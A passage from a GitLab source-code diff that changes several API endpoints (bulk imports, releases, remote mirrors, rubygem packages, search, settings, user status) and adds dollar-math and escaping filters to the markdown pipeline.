+ render_api_error!(e.message, 400)
+ end
end
- end
- accepted!
+ accepted!
+ end
end
resource do
before do
- not_found! unless ::Feature.enabled?(:bulk_import)
+ not_found! unless Gitlab::CurrentSettings.bulk_import_enabled?
+
+ authorize_admin_project
end
desc 'Start relations export' do
diff --git a/lib/api/projects.rb b/lib/api/projects.rb
index de39419b70b..5077f02fcc1 100644
--- a/lib/api/projects.rb
+++ b/lib/api/projects.rb
@@ -490,6 +490,7 @@ module API
attrs = translate_params_for_compatibility(attrs)
attrs = add_import_params(attrs)
filter_attributes_using_license!(attrs)
+ filter_attributes_under_feature_flag!(attrs, user_project)
verify_update_project_attrs!(user_project, attrs)
user_project.remove_avatar! if attrs.key?(:avatar) && attrs[:avatar].nil?
diff --git a/lib/api/release/links.rb b/lib/api/release/links.rb
index 0e83d086a6e..b21bcb4a903 100644
--- a/lib/api/release/links.rb
+++ b/lib/api/release/links.rb
@@ -56,7 +56,7 @@ module API
params do
requires :name, type: String, desc: 'The name of the link. Link names must be unique in the release'
requires :url, type: String, desc: 'The URL of the link. Link URLs must be unique in the release.'
- optional :filepath, type: String, desc: 'Optional path for a direct asset link'
+ optional :direct_asset_path, type: String, desc: 'Optional path for a direct asset link', as: :filepath
optional :link_type,
type: String,
values: %w[other runbook image package],
@@ -108,7 +108,7 @@ module API
params do
optional :name, type: String, desc: 'The name of the link'
optional :url, type: String, desc: 'The URL of the link'
- optional :filepath, type: String, desc: 'Optional path for a direct asset link'
+ optional :direct_asset_path, type: String, desc: 'Optional path for a direct asset link', as: :filepath
optional :link_type,
type: String,
values: %w[other runbook image package],
diff --git a/lib/api/releases.rb b/lib/api/releases.rb
index e6884e66200..e69dc756551 100644
--- a/lib/api/releases.rb
+++ b/lib/api/releases.rb
@@ -150,18 +150,19 @@ module API
params do
requires :tag_name, type: String, desc: 'The Git tag the release is associated with', as: :tag
- requires :file_path,
+ requires :direct_asset_path,
type: String,
file_path: true,
- desc: 'The path to the file to download, as specified when creating the release asset'
+ desc: 'The path to the file to download, as specified when creating the release asset',
+ as: :filepath
end
route_setting :authentication, job_token_allowed: true
- get ':id/releases/:tag_name/downloads/*file_path', format: false, requirements: RELEASE_ENDPOINT_REQUIREMENTS do
+ get ':id/releases/:tag_name/downloads/*direct_asset_path', format: false, requirements: RELEASE_ENDPOINT_REQUIREMENTS do
authorize_read_code!
not_found! unless release
- link = release.links.find_by_filepath!("/#{params[:file_path]}")
+ link = release.links.find_by_filepath!("/#{params[:filepath]}")
not_found! unless link
@@ -237,7 +238,7 @@ module API
optional :links, type: Array do
requires :name, type: String, desc: 'The name of the link. Link names must be unique within the release'
requires :url, type: String, desc: 'The URL of the link. Link URLs must be unique within the release'
- optional :filepath, type: String, desc: 'Optional path for a direct asset link'
+ optional :direct_asset_path, type: String, desc: 'Optional path for a direct asset link', as: :filepath
optional :link_type, type: String, desc: 'The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`'
end
end
diff --git a/lib/api/remote_mirrors.rb b/lib/api/remote_mirrors.rb
index f7ea5a6ad2b..c3c7d9370e0 100644
--- a/lib/api/remote_mirrors.rb
+++ b/lib/api/remote_mirrors.rb
@@ -3,6 +3,7 @@
module API
class RemoteMirrors < ::API::Base
include PaginationParams
+ helpers Helpers::RemoteMirrorsHelpers
feature_category :source_code_management
@@ -60,14 +61,13 @@ module API
params do
requires :url, type: String, desc: 'The URL for a remote mirror', documentation: { example: 'https://*****:*****@example.com/gitlab/example.git' }
optional :enabled, type: Boolean, desc: 'Determines if the mirror is enabled', documentation: { example: false }
- optional :only_protected_branches, type: Boolean, desc: 'Determines if only protected branches are mirrored',
- documentation: { example: false }
optional :keep_divergent_refs, type: Boolean, desc: 'Determines if divergent refs are kept on the target',
documentation: { example: false }
+ use :mirror_branches_setting
end
post ':id/remote_mirrors' do
create_params = declared_params(include_missing: false)
-
+ verify_mirror_branches_setting(create_params, user_project)
new_mirror = user_project.remote_mirrors.create(create_params)
if new_mirror.persisted?
@@ -89,10 +89,9 @@ module API
params do
requires :mirror_id, type: String, desc: 'The ID of a remote mirror'
optional :enabled, type: Boolean, desc: 'Determines if the mirror is enabled', documentation: { example: true }
- optional :only_protected_branches, type: Boolean, desc: 'Determines if only protected branches are mirrored',
- documentation: { example: false }
optional :keep_divergent_refs, type: Boolean, desc: 'Determines if divergent refs are kept on the target',
documentation: { example: false }
+ use :mirror_branches_setting
end
put ':id/remote_mirrors/:mirror_id' do
mirror = user_project.remote_mirrors.find(params[:mirror_id])
@@ -100,6 +99,7 @@ module API
mirror_params = declared_params(include_missing: false)
mirror_params[:id] = mirror_params.delete(:mirror_id)
+ verify_mirror_branches_setting(mirror_params, user_project)
update_params = { remote_mirrors_attributes: mirror_params }
result = ::Projects::UpdateService
diff --git a/lib/api/resource_milestone_events.rb b/lib/api/resource_milestone_events.rb
index 5640e88ae6e..3eff3e8ad36 100644
--- a/lib/api/resource_milestone_events.rb
+++ b/lib/api/resource_milestone_events.rb
@@ -11,7 +11,7 @@ module API
{
Issue => :team_planning,
- MergeRequest => :code_review
+ MergeRequest => :code_review_workflow
}.each do |eventable_type, feature_category|
parent_type = eventable_type.parent_class.to_s.underscore
eventables_str = eventable_type.to_s.underscore.pluralize
diff --git a/lib/api/rubygem_packages.rb b/lib/api/rubygem_packages.rb
index af0ceb1acfc..896d8fcc727 100644
--- a/lib/api/rubygem_packages.rb
+++ b/lib/api/rubygem_packages.rb
@@ -25,13 +25,19 @@ module API
.sent_through(:http_token)
end
+ helpers do
+ def project
+ user_project(action: :read_package)
+ end
+ end
+
before do
require_packages_enabled!
authenticate_non_get!
end
after_validation do
- not_found! unless Feature.enabled?(:rubygem_packages, user_project)
+ not_found! unless Feature.enabled?(:rubygem_packages, project)
end
params do
@@ -85,14 +91,14 @@ module API
requires :file_name, type: String, desc: 'Package file name', documentation: { type: 'file' }
end
get "gems/:file_name", requirements: FILE_NAME_REQUIREMENTS do
- authorize_read_package!(user_project)
+ authorize_read_package!(project)
package_files = ::Packages::PackageFile
- .for_rubygem_with_file_name(user_project, params[:file_name])
+ .for_rubygem_with_file_name(project, params[:file_name])
package_file = package_files.installable.last!
- track_package_event('pull_package', :rubygems, project: user_project, namespace: user_project.namespace)
+ track_package_event('pull_package', :rubygems, project: project, namespace: project.namespace)
present_package_file!(package_file)
end
@@ -109,9 +115,9 @@ module API
end
post 'gems/authorize' do
authorize_workhorse!(
- subject: user_project,
+ subject: project,
has_length: false,
- maximum_size: user_project.actual_limits.rubygems_max_file_size
+ maximum_size: project.actual_limits.rubygems_max_file_size
)
end
@@ -129,16 +135,16 @@ module API
requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)', documentation: { type: 'file' }
end
post 'gems' do
- authorize_upload!(user_project)
- bad_request!('File is too large') if user_project.actual_limits.exceeded?(:rubygems_max_file_size, params[:file].size)
+ authorize_upload!(project)
+ bad_request!('File is too large') if project.actual_limits.exceeded?(:rubygems_max_file_size, params[:file].size)
- track_package_event('push_package', :rubygems, user: current_user, project: user_project, namespace: user_project.namespace)
+ track_package_event('push_package', :rubygems, user: current_user, project: project, namespace: project.namespace)
package_file = nil
ApplicationRecord.transaction do
package = ::Packages::CreateTemporaryPackageService.new(
- user_project, current_user, declared_params.merge(build: current_authenticated_job)
+ project, current_user, declared_params.merge(build: current_authenticated_job)
).execute(:rubygems, name: ::Packages::Rubygems::TEMPORARY_PACKAGE_NAME)
file_params = {
@@ -159,7 +165,7 @@ module API
bad_request!('Package creation failed')
end
rescue ObjectStorage::RemoteStoreError => e
- Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:file_name], project_id: user_project.id })
+ Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:file_name], project_id: project.id })
forbidden!
end
@@ -179,13 +185,13 @@ module API
optional :gems, type: Array[String], coerce_with: ::API::Validations::Types::CommaSeparatedToArray.coerce, desc: 'Comma delimited gem names'
end
get 'dependencies' do
- authorize_read_package!
+ authorize_read_package!(project)
if params[:gems].blank?
status :ok
else
results = params[:gems].map do |gem_name|
- service_result = Packages::Rubygems::DependencyResolverService.new(user_project, current_user, gem_name: gem_name).execute
+ service_result = Packages::Rubygems::DependencyResolverService.new(project, current_user, gem_name: gem_name).execute
render_api_error!(service_result.message, service_result.http_status) if service_result.error?
service_result.payload
diff --git a/lib/api/search.rb b/lib/api/search.rb
index cf6a1385783..2204437f2ec 100644
--- a/lib/api/search.rb
+++ b/lib/api/search.rb
@@ -59,8 +59,13 @@ module API
end
def search(additional_params = {})
+ search_service = search_service(additional_params)
+ if search_service.global_search? && !search_service.global_search_enabled_for_scope?
+ forbidden!('Global Search is disabled for this scope')
+ end
+
@search_duration_s = Benchmark.realtime do
- @results = search_service(additional_params).search_objects(preload_method)
+ @results = search_service.search_objects(preload_method)
end
set_global_search_log_information(additional_params)
@@ -68,7 +73,7 @@ module API
Gitlab::Metrics::GlobalSearchSlis.record_apdex(
elapsed: @search_duration_s,
search_type: search_type(additional_params),
- search_level: search_service(additional_params).level,
+ search_level: search_service.level,
search_scope: search_scope
)
diff --git a/lib/api/settings.rb b/lib/api/settings.rb
index 8b47604fe86..06b576a982b 100644
--- a/lib/api/settings.rb
+++ b/lib/api/settings.rb
@@ -85,9 +85,15 @@ module API
optional :home_page_url, type: String, desc: 'We will redirect non-logged in users to this page'
optional :housekeeping_enabled, type: Boolean, desc: 'Enable automatic repository housekeeping (git repack, git gc)'
given housekeeping_enabled: ->(val) { val } do
- requires :housekeeping_full_repack_period, type: Integer, desc: "Number of Git pushes after which a full 'git repack' is run."
- requires :housekeeping_gc_period, type: Integer, desc: "Number of Git pushes after which 'git gc' is run."
- requires :housekeeping_incremental_repack_period, type: Integer, desc: "Number of Git pushes after which an incremental 'git repack' is run."
+ optional :housekeeping_full_repack_period, type: Integer, desc: "Number of Git pushes after which a full 'git repack' is run."
+ optional :housekeeping_gc_period, type: Integer, desc: "Number of Git pushes after which 'git gc' is run."
+ optional :housekeeping_incremental_repack_period, type: Integer, desc: "Number of Git pushes after which an incremental 'git repack' is run."
+
+ optional :housekeeping_optimize_repository_period, type: Integer, desc: "Number of Git pushes after which Gitaly is asked to optimize a repository."
+
+ # Requires either all three deprecated attributes (housekeeping_full_repack_period, housekeeping_gc_period, housekeeping_incremental_repack_period) or housekeeping_optimize_repository_period
+ all_or_none_of :housekeeping_full_repack_period, :housekeeping_gc_period, :housekeeping_incremental_repack_period
+ exactly_one_of :housekeeping_incremental_repack_period, :housekeeping_optimize_repository_period
end
optional :html_emails_enabled, type: Boolean, desc: 'By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format.'
optional :import_sources, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce,
@@ -188,6 +194,7 @@ module API
optional :jira_connect_application_key, type: String, desc: "Application ID of the OAuth application that should be used to authenticate with the GitLab.com for Jira Cloud app"
optional :jira_connect_proxy_url, type: String, desc: "URL of the GitLab instance that should be used as a proxy for the GitLab.com for Jira Cloud app"
optional :bulk_import_enabled, type: Boolean, desc: 'Enable migrating GitLab groups and projects by direct transfer'
+ optional :allow_runner_registration_token, type: Boolean, desc: 'Allow registering runners using a registration token'
Gitlab::SSHPublicKey.supported_types.each do |type|
optional :"#{type}_key_restriction",
diff --git a/lib/api/subscriptions.rb b/lib/api/subscriptions.rb
index cda30dc957f..52e5ab30d06 100644
--- a/lib/api/subscriptions.rb
+++ b/lib/api/subscriptions.rb
@@ -15,7 +15,7 @@ module API
entity: Entities::MergeRequest,
source: Project,
finder: ->(id) { find_merge_request_with_access(id, :update_merge_request) },
- feature_category: :code_review
+ feature_category: :code_review_workflow
},
{
type: 'issues',
diff --git a/lib/api/suggestions.rb b/lib/api/suggestions.rb
index 6260983087f..eee83d5655b 100644
--- a/lib/api/suggestions.rb
+++ b/lib/api/suggestions.rb
@@ -4,7 +4,7 @@ module API
class Suggestions < ::API::Base
before { authenticate! }
- feature_category :code_review
+ feature_category :code_review_workflow
resource :suggestions do
desc 'Apply suggestion patch in the Merge Request it was created' do
diff --git a/lib/api/users.rb b/lib/api/users.rb
index d2d45c94291..a9b09596728 100644
--- a/lib/api/users.rb
+++ b/lib/api/users.rb
@@ -62,6 +62,7 @@ module API
optional :avatar, type: ::API::Validations::Types::WorkhorseFile, desc: 'Avatar image for user', documentation: { type: 'file' }
optional :theme_id, type: Integer, desc: 'The GitLab theme for the user'
optional :color_scheme_id, type: Integer, desc: 'The color scheme for the file viewer'
+ # TODO: Add `allow_blank: false` in 16.0. Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/387005
optional :private_profile, type: Boolean, desc: 'Flag indicating the user has a private profile'
optional :note, type: String, desc: 'Admin note for this user'
optional :view_diffs_file_by_file, type: Boolean, desc: 'Flag indicating the user sees only one file diff per page'
@@ -294,6 +295,12 @@ module API
authenticated_as_admin!
params = declared_params(include_missing: false)
+
+ # TODO: Remove in 16.0. Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/387005
+ if params.key?(:private_profile) && params[:private_profile].nil?
+ params[:private_profile] = Gitlab::CurrentSettings.user_defaults_to_private_profile
+ end
+
user = ::Users::AuthorizedCreateService.new(current_user, params).execute
if user.persisted?
@@ -341,6 +348,12 @@ module API
.where.not(id: user.id).exists?
user_params = declared_params(include_missing: false)
+
+ # TODO: Remove in 16.0. Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/387005
+ if user_params.key?(:private_profile) && user_params[:private_profile].nil?
+ user_params[:private_profile] = Gitlab::CurrentSettings.user_defaults_to_private_profile
+ end
+
admin_making_changes_for_another_user = (current_user != user)
if user_params[:password].present?
@@ -824,7 +837,8 @@ module API
elsif user.deactivated?
forbidden!('Deactivated users cannot be unblocked by the API')
else
- user.activate
+ result = ::Users::UnblockService.new(current_user).execute(user)
+ result.success?
end
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -1020,6 +1034,25 @@ module API
end
end
+ helpers do
+ def set_user_status(include_missing_params:)
+ forbidden! unless can?(current_user, :update_user_status, current_user)
+
+ if ::Users::SetStatusService.new(current_user, declared_params(include_missing: include_missing_params)).execute
+ present current_user.status, with: Entities::UserStatus
+ else
+ render_validation_error!(current_user.status)
+ end
+ end
+
+ params :set_user_status_params do
+ optional :emoji, type: String, desc: "The emoji to set on the status"
+ optional :message, type: String, desc: "The status message to set"
+ optional :availability, type: String, desc: "The availability of user to set"
+ optional :clear_status_after, type: String, desc: "Automatically clear emoji, message and availability fields after a certain time", values: UserStatus::CLEAR_STATUS_QUICK_OPTIONS.keys
+ end
+ end
+
desc "Get the currently authenticated user's SSH keys" do
success Entities::SSHKey
end
@@ -1299,21 +1332,30 @@ module API
desc 'Set the status of the current user' do
success Entities::UserStatus
+ detail 'Any parameters that are not passed will be nullified.'
end
params do
- optional :emoji, type: String, desc: "The emoji to set on the status"
- optional :message, type: String, desc: "The status message to set"
- optional :availability, type: String, desc: "The availability of user to set"
- optional :clear_status_after, type: String, desc: "Automatically clear emoji, message and availability fields after a certain time", values: UserStatus::CLEAR_STATUS_QUICK_OPTIONS.keys
+ use :set_user_status_params
end
put "status", feature_category: :users do
- forbidden! unless can?(current_user, :update_user_status, current_user)
+ set_user_status(include_missing_params: true)
+ end
- if ::Users::SetStatusService.new(current_user, declared_params).execute
- present current_user.status, with: Entities::UserStatus
- else
- render_validation_error!(current_user.status)
+ desc 'Set the status of the current user' do
+ success Entities::UserStatus
+ detail 'Any parameters that are not passed will be ignored.'
+ end
+ params do
+ use :set_user_status_params
+ end
+ patch "status", feature_category: :users do
+ if declared_params(include_missing: false).empty?
+ status :ok
+
+ break
end
+
+ set_user_status(include_missing_params: false)
end
desc 'get the status of the current user' do
diff --git a/lib/api/validations/validators/bulk_imports.rb b/lib/api/validations/validators/bulk_imports.rb
new file mode 100644
index 00000000000..8d49607f64c
--- /dev/null
+++ b/lib/api/validations/validators/bulk_imports.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module API
+ module Validations
+ module Validators
+ module BulkImports
+ class DestinationSlugPath < Grape::Validations::Base
+ def validate_param!(attr_name, params)
+ unless params[attr_name] =~ Gitlab::Regex.group_path_regex # rubocop: disable Style/GuardClause
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: "cannot start with a dash or forward slash, or end with a period or forward slash. " \
+ "It can only contain alphanumeric characters, periods, underscores, and dashes. " \
+ "E.g. 'destination_namespace' not 'destination/namespace'"
+ )
+ end
+ end
+ end
+
+ class DestinationNamespacePath < Grape::Validations::Base
+ def validate_param!(attr_name, params)
+ return if params[attr_name].blank?
+
+ unless params[attr_name] =~ Gitlab::Regex.bulk_import_namespace_path_regex # rubocop: disable Style/GuardClause
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: "cannot start with a dash or forward slash, or end with a period or forward slash. " \
+ "It can only contain alphanumeric characters, periods, underscores, forward slashes " \
+ "and dashes. E.g. 'destination_namespace' or 'destination/namespace'"
+ )
+ end
+ end
+ end
+
+ class SourceFullPath < Grape::Validations::Base
+ def validate_param!(attr_name, params)
+ unless params[attr_name] =~ Gitlab::Regex.bulk_import_namespace_path_regex # rubocop: disable Style/GuardClause
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: "must be a relative path and not include protocol, sub-domain, or domain information. " \
+ "E.g. 'source/full/path' not 'https://example.com/source/full/path'" \
+ )
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/jwt/asymmetric.rb b/lib/atlassian/jira_connect/jwt/asymmetric.rb
index 7c1cf1cabb6..8698be70eb9 100644
--- a/lib/atlassian/jira_connect/jwt/asymmetric.rb
+++ b/lib/atlassian/jira_connect/jwt/asymmetric.rb
@@ -82,7 +82,7 @@ module Atlassian
def public_key_cdn_url_setting
@public_key_cdn_url_setting ||=
- if Gitlab::CurrentSettings.jira_connect_proxy_url
+ if Gitlab::CurrentSettings.jira_connect_proxy_url.present?
Gitlab::Utils.append_path(Gitlab::CurrentSettings.jira_connect_proxy_url, PROXY_PUBLIC_KEY_PATH)
end
end
diff --git a/lib/banzai/filter/dollar_math_post_filter.rb b/lib/banzai/filter/dollar_math_post_filter.rb
new file mode 100644
index 00000000000..94d1b4bcb48
--- /dev/null
+++ b/lib/banzai/filter/dollar_math_post_filter.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+# Generated HTML is transformed back to GFM by:
+# - app/assets/javascripts/behaviors/markdown/marks/math.js
+# - app/assets/javascripts/behaviors/markdown/nodes/code_block.js
+module Banzai
+ module Filter
+ # HTML filter that implements our dollar math syntax, one of three filters:
+ # DollarMathPreFilter, DollarMathPostFilter, and MathFilter
+ #
+ class DollarMathPostFilter < HTML::Pipeline::Filter
+ # Based on the Pandoc heuristics,
+ # https://pandoc.org/MANUAL.html#extension-tex_math_dollars
+ #
+ # Handle the $...$ and $$...$$ inline syntax in this filter, after markdown processing
+ # but before post-handling of escaped characters. Any escaped $ will have been specially
+ # encoded and will therefore not interfere with the detection of the dollar syntax.
+
+ # Corresponds to the "$...$" syntax
+ DOLLAR_INLINE_PATTERN = %r{
+ (?<matched>\$(?<math>(?:\S[^$\n]*?\S|[^$\s]))\$)(?:[^\d]|$)
+ }x.freeze
+
+ # Corresponds to the "$$...$$" syntax
+ DOLLAR_DISPLAY_INLINE_PATTERN = %r{
+ (?<matched>\$\$\ *(?<math>[^$\n]+?)\ *\$\$)
+ }x.freeze
+
+ # Order dependent. Handle the `$$` syntax before the `$` syntax
+ DOLLAR_MATH_PIPELINE = [
+ { pattern: DOLLAR_DISPLAY_INLINE_PATTERN, style: :display },
+ { pattern: DOLLAR_INLINE_PATTERN, style: :inline }
+ ].freeze
+
+ # Do not recognize math inside these tags
+ IGNORED_ANCESTOR_TAGS = %w[pre code tt].to_set
+
+ def call
+ process_dollar_pipeline
+
+ doc
+ end
+
+ def process_dollar_pipeline
+ doc.xpath('descendant-or-self::text()').each do |node|
+ next if has_ancestor?(node, IGNORED_ANCESTOR_TAGS)
+
+ node_html = node.to_html
+ next unless node_html.match?(DOLLAR_INLINE_PATTERN) ||
+ node_html.match?(DOLLAR_DISPLAY_INLINE_PATTERN)
+
+ temp_doc = Nokogiri::HTML.fragment(node_html)
+
+ DOLLAR_MATH_PIPELINE.each do |pipeline|
+ temp_doc.xpath('child::text()').each do |temp_node|
+ html = temp_node.to_html
+ temp_node.content.scan(pipeline[:pattern]).each do |matched, math|
+ html.sub!(matched, math_html(math: math, style: pipeline[:style]))
+ end
+
+ temp_node.replace(html)
+ end
+ end
+
+ node.replace(temp_doc)
+ end
+ end
+
+ private
+
+ def math_html(math:, style:)
+ "<code data-math-style=\"#{style}\">#{math}</code>"
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/dollar_math_pre_filter.rb b/lib/banzai/filter/dollar_math_pre_filter.rb
new file mode 100644
index 00000000000..aaa186f87a6
--- /dev/null
+++ b/lib/banzai/filter/dollar_math_pre_filter.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+# Generated HTML is transformed back to GFM by:
+# - app/assets/javascripts/behaviors/markdown/marks/math.js
+# - app/assets/javascripts/behaviors/markdown/nodes/code_block.js
+module Banzai
+ module Filter
+ # HTML filter that implements our dollar math syntax, one of three filters:
+ # DollarMathPreFilter, DollarMathPostFilter, and MathFilter
+ #
+ class DollarMathPreFilter < HTML::Pipeline::TextFilter
+ # Based on the Pandoc heuristics,
+ # https://pandoc.org/MANUAL.html#extension-tex_math_dollars
+ #
+ # Handle the $$\n...\n$$ syntax in this filter, before markdown processing,
+ # by converting it into the ```math syntax. In this way, we can ensure
+ # that it's considered a code block and will not have any markdown processed inside it.
+
+ # Corresponds to the "$$\n...\n$$" syntax
+ REGEX = %r{
+ #{::Gitlab::Regex.markdown_code_or_html_blocks}
+ |
+ (?=(?<=^\n|\A)\$\$\ *\n.*\n\$\$\ *(?=\n$|\z))(?:
+ # Display math block:
+ # $$
+ # latex math
+ # $$
+
+ (?<=^\n|\A)\$\$\ *\n
+ (?<display_math>
+ (?:.)+?
+ )
+ \n\$\$\ *(?=\n$|\z)
+ )
+ }mx.freeze
+
+ def call
+ @text.gsub(REGEX) do
+ if $~[:display_math]
+ # change from $$ to ```math
+ "```math\n#{$~[:display_math]}\n```"
+ else
+ $~[0]
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/inline_observability_filter.rb b/lib/banzai/filter/inline_observability_filter.rb
index 27b89073a0e..334c04f2b59 100644
--- a/lib/banzai/filter/inline_observability_filter.rb
+++ b/lib/banzai/filter/inline_observability_filter.rb
@@ -3,6 +3,12 @@
module Banzai
module Filter
class InlineObservabilityFilter < ::Banzai::Filter::InlineEmbedsFilter
+ def call
+ return doc unless can_view_observability?
+
+ super
+ end
+
# Placeholder element for the frontend to use as an
# injection point for observability.
def create_element(url)
@@ -25,6 +31,16 @@ module Banzai
create_element(url)
end
+
+ private
+
+ def can_view_observability?
+ Feature.enabled?(:observability_group_tab, group)
+ end
+
+ def group
+ context[:group] || context[:project]&.group
+ end
end
end
end
diff --git a/lib/banzai/filter/markdown_post_escape_filter.rb b/lib/banzai/filter/markdown_post_escape_filter.rb
index 09ae09a22ae..8c0bd62f80a 100644
--- a/lib/banzai/filter/markdown_post_escape_filter.rb
+++ b/lib/banzai/filter/markdown_post_escape_filter.rb
@@ -2,33 +2,69 @@
module Banzai
module Filter
+ # See comments in MarkdownPreEscapeFilter for details on strategy
class MarkdownPostEscapeFilter < HTML::Pipeline::Filter
LITERAL_KEYWORD = MarkdownPreEscapeFilter::LITERAL_KEYWORD
LITERAL_REGEX = %r{#{LITERAL_KEYWORD}-(.*?)-#{LITERAL_KEYWORD}}.freeze
NOT_LITERAL_REGEX = %r{#{LITERAL_KEYWORD}-((%5C|\\).+?)-#{LITERAL_KEYWORD}}.freeze
SPAN_REGEX = %r{<span>(.*?)</span>}.freeze
- CSS_A = 'a'
- XPATH_A = Gitlab::Utils::Nokogiri.css_to_xpath(CSS_A).freeze
- CSS_LANG_TAG = 'pre'
- XPATH_LANG_TAG = Gitlab::Utils::Nokogiri.css_to_xpath(CSS_LANG_TAG).freeze
+ XPATH_A = Gitlab::Utils::Nokogiri.css_to_xpath('a').freeze
+ XPATH_LANG_TAG = Gitlab::Utils::Nokogiri.css_to_xpath('pre').freeze
+ XPATH_CODE_SPAN = Gitlab::Utils::Nokogiri.css_to_xpath('code > span').freeze
def call
return doc unless result[:escaped_literals]
- # For any literals that actually didn't get escape processed
- # (for example in code blocks), remove the special sequence.
- html.gsub!(NOT_LITERAL_REGEX, '\1')
+ new_html = unescaped_literals(doc.to_html)
+ new_html = add_spans(new_html)
- # Replace any left over literal sequences with `span` so that our
- # reference processing is short-circuited
- html.gsub!(LITERAL_REGEX, '<span>\1</span>')
+ @doc = parse_html(new_html)
- # Since literals are converted in links, we need to remove any surrounding `span`.
- # Note: this could have been done in the renderer,
- # Banzai::Renderer::CommonMark::HTML. However, we eventually want to use
- # the built-in compiled renderer, rather than the ruby version, for speed.
- # So let's do this work here.
+ remove_spans_in_certain_attributes
+ remove_spans_in_code
+
+ doc
+ end
+
+ private
+
+ # For any literals that actually didn't get escape processed
+ # (for example in code blocks), remove the special sequence.
+ def unescaped_literals(html)
+ html.gsub!(NOT_LITERAL_REGEX) do |match|
+ last_match = ::Regexp.last_match(1)
+ last_match_token = last_match.sub('%5C', '\\')
+
+ escaped_item = Banzai::Filter::MarkdownPreEscapeFilter::ESCAPABLE_CHARS.find { |item| item[:token] == last_match_token }
+ escaped_char = escaped_item ? escaped_item[:escaped] : last_match
+
+ escaped_char = escaped_char.sub('\\', '%5C') if last_match.start_with?('%5C')
+
+ escaped_char
+ end
+
+ html
+ end
+
+ # Replace any left over literal sequences with `span` so that our
+ # reference processing is short-circuited
+ def add_spans(html)
+ html.gsub!(LITERAL_REGEX) do |match|
+ last_match = ::Regexp.last_match(1)
+ last_match_token = "\\#{last_match}"
+
+ escaped_item = Banzai::Filter::MarkdownPreEscapeFilter::ESCAPABLE_CHARS.find { |item| item[:token] == last_match_token }
+ escaped_char = escaped_item ? escaped_item[:char] : ::Regexp.last_match(1)
+
+ "<span>#{escaped_char}</span>"
+ end
+
+ html
+ end
+
+ # Since literals are converted in links, we need to remove any surrounding `span`.
+ def remove_spans_in_certain_attributes
doc.xpath(XPATH_A).each do |node|
node.attributes['href'].value = node.attributes['href'].value.gsub(SPAN_REGEX, '\1') if node.attributes['href']
node.attributes['title'].value = node.attributes['title'].value.gsub(SPAN_REGEX, '\1') if node.attributes['title']
@@ -37,8 +73,16 @@ module Banzai
doc.xpath(XPATH_LANG_TAG).each do |node|
node.attributes['lang'].value = node.attributes['lang'].value.gsub(SPAN_REGEX, '\1') if node.attributes['lang']
end
+ end
- doc
+ # Any `<span>` that makes it into a `<code>` element is from the math processing,
+ # convert back to the escaped character, such as `\$`
+ def remove_spans_in_code
+ doc.xpath(XPATH_CODE_SPAN).each do |node|
+ escaped_item = Banzai::Filter::MarkdownPreEscapeFilter::ESCAPABLE_CHARS.find { |item| item[:char] == node.content && item[:latex] }
+
+ node.replace(escaped_item[:escaped]) if escaped_item
+ end
end
end
end
diff --git a/lib/banzai/filter/markdown_pre_escape_filter.rb b/lib/banzai/filter/markdown_pre_escape_filter.rb
index 8d54d140877..8cc7b0defd6 100644
--- a/lib/banzai/filter/markdown_pre_escape_filter.rb
+++ b/lib/banzai/filter/markdown_pre_escape_filter.rb
@@ -10,6 +10,10 @@ module Banzai
# This way CommonMark will properly handle the backslash escaped chars
# but we will maintain knowledge (the sequence) that it was a literal.
#
+ # This processing is also important for the handling of escaped characters
+ # in LaTeX math. These will need to be converted back into their escaped
+ # versions if they are detected in math blocks.
+ #
# We need to surround the character, not just prefix it. It could
# get converted into an entity by CommonMark and we wouldn't know how many
# characters there are. The entire literal needs to be surrounded with
@@ -24,9 +28,36 @@ module Banzai
# This filter does the initial surrounding, and MarkdownPostEscapeFilter
# does the conversion into span tags.
class MarkdownPreEscapeFilter < HTML::Pipeline::TextFilter
- # We just need to target those that are special GitLab references
- REFERENCE_CHARACTERS = '@#!$&~%^'
- ASCII_PUNCTUATION = %r{(\\[#{REFERENCE_CHARACTERS}])}.freeze
+ # Table of characters that need this special handling. It consists of the
+ # GitLab special reference characters and special LaTeX characters.
+ #
+ # The `token` is used when we do the initial replacement - for example converting
+ # `\$` into `cmliteral-\+a-cmliteral`. We don't simply replace `\$` with `$`,
+ # because this can cause difficulties in parsing math blocks that use `$` as a
+ # delimiter. We also include a character that _can_ be escaped, `\+`. By examining
+ # the text once it's been passed to markdown, we can determine that `cmliteral-\+a-cmliteral`
+ # was in a block that markdown did _not_ escape the character, for example an inline
+ # code block or some other element. In this case, we must convert back to the
+ # original escaped version, `\$`. However if we detect `cmliteral-+a-cmliteral`,
+ # then we know markdown considered it an escaped character, and we should replace it
+ # with the non-escaped version, `$`.
+ # See the MarkdownPostEscapeFilter for how this is done.
+ ESCAPABLE_CHARS = [
+ { char: '$', escaped: '\$', token: '\+a', reference: true, latex: true },
+ { char: '%', escaped: '\%', token: '\+b', reference: true, latex: true },
+ { char: '#', escaped: '\#', token: '\+c', reference: true, latex: true },
+ { char: '&', escaped: '\&', token: '\+d', reference: true, latex: true },
+ { char: '{', escaped: '\{', token: '\+e', reference: false, latex: true },
+ { char: '}', escaped: '\}', token: '\+f', reference: false, latex: true },
+ { char: '_', escaped: '\_', token: '\+g', reference: false, latex: true },
+ { char: '@', escaped: '\@', token: '\+h', reference: true, latex: false },
+ { char: '!', escaped: '\!', token: '\+i', reference: true, latex: false },
